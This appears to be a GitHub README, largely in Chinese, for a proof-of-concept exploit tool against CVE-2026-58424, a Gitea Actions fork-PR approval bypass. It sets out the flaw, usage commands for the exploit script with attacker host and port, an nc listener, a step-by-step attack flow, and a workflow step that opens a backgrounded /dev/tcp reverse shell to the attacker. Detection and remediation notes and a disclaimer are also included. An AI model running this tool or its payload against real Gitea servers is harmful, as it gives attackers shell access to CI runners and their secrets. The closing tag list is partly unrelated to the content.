BridgerAlderson/CVE-2026-58424
GitHub: BridgerAlderson/CVE-2026-58424
针对 Gitea Actions fork PR 审批门禁绕过漏洞(CVE-2026-58424)的自动化 PoC 利用工具。
Stars: 0 | Forks: 0
# CVE-2026-58424 - Gitea Fork PR Workflow 审批门禁绕过
## 漏洞描述
Gitea Actions 对由 fork pull request 触发的 workflow 运行强制执行审批门禁。该门禁在 `ifNeedApproval()` 中实现,旨在防止不受信任的贡献者通过 CI pipeline 执行任意代码。
缺陷在于 `ifNeedApproval()` 仅被正确应用于 `pull_request` 事件。在 workflow 的 `on:` 块中列出的每种事件类型都会产生一个独立的 `ActionRun` 对象,并具有各自的审批检查。当攻击者扩大 `on:` 块以包含 `pull_request_review`、`issue_comment` 或 `pull_request_review_comment` 等事件时,这些运行将在不经过审批门禁的情况下被分发。
触发任何这些不受保护的事件 - 例如,发布 PR 审查评论 - 会立即以 runner 的服务账户身份启动 workflow 运行,且无需维护者审批。
## 根本原因
`ifNeedApproval()` 函数针对 `pull_request` 事件基于 `(repo_id, trigger_user_id)` 检查审批,但并未在所有可触发的事件类型中一致地应用此检查。
**漏洞路径:**
```
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
```
## 要求
| 要求 | 详情 |
|---|---|
| Gitea 账户 | 任何具有 fork 权限的已认证用户 |
| 目标 repo | 必须启用 Gitea Actions |
| Runner | `act_runner` 必须在线并已注册 |
| 网络 | Runner 必须可以访问攻击者主机 |
## PoC 使用方法
### 安装
```
# 最小值
pip install requests
# 对于 Kerberos/Negotiate auth
pip install requests requests-gssapi
```
### 认证模式 1 - API Token
**通过浏览器:** `Settings -> Applications -> Generate Token`
所需权限范围:repository write + issue write。
**通过 API:**
```
curl -s -X POST http://gitea.example.com:3000/api/v1/users//tokens \
-u ":" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
```
**运行:**
```
python3 poc.py \
--url http://gitea.example.com:3000 \
--token \
--target-owner \
--target-repo \
--lhost \
--lport 4444
```
### 认证模式 2 - Kerberos/Negotiate
适用于仅接受 Kerberos/SPNEGO 的 Gitea 实例(强制执行 SSPI 的 Active Directory 环境)。必须在已加入域并具有有效 TGT 的主机上运行。
```
kinit user@DOMAIN.LOCAL
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner \
--target-repo \
--lhost \
--lport 4444
```
如果 DNS 解析失败,请配置 `/etc/krb5.conf`:
```
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc =
admin_server =
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
```
### 所有选项
```
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: -)
--workflow-name Custom workflow filename (default: ci-.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
```
### 监听器
```
nc -lvnp 4444
```
## 攻击流程
```
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
```
## Runner 生命周期说明
默认情况下,`act_runner` 是单 worker 的。如果 reverse shell 步骤未干净退出,runner 将保持“running”状态并忽略新的 job。
为避免这种情况,请将 shell 放入后台运行:
```
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
```
或者使用 `--custom-payload` 直接传递一个守护进程化的单行命令。
## 检测
- 来自 fork PR 且带有 `event=pull_request_review` 或 `event=issue_comment` 的 `ActionRun` 条目
- Fork repo 中包含带有 shell 执行步骤的 `pull_request_review` 触发器的 workflow 文件
- 在 PR 审查活动之后,runner 主机发出的意外出站连接
## 修复方案
| 操作 | 详情 |
|---|---|
| 升级 | Gitea 1.26.3+ 修复了此问题 |
| 变通方法 | 对包含不受信任贡献者的 repo 禁用 Gitea Actions |
| 审计 | 审查 fork PR 及相关的 workflow 运行是否存在意外执行 |
| 限制 | 将 fork 权限限制为受信任的用户 |
## 参考
- [GHSA-777r-4v59-6486](https://github.com/go-gitea/gitea/security/advisories/GHSA-777r-4v59-6486)
- [NVD - CVE-2026-58424](https://nvd.nist.gov/vuln/detail/CVE-2026-58424)
## 免责声明
仅供授权的安全测试和研究使用。未经明确书面许可,请勿对系统使用。
标签:Gitea, Modbus, PoC, Python, Web报告查看器, 无后门, 暴力破解, 逆向工具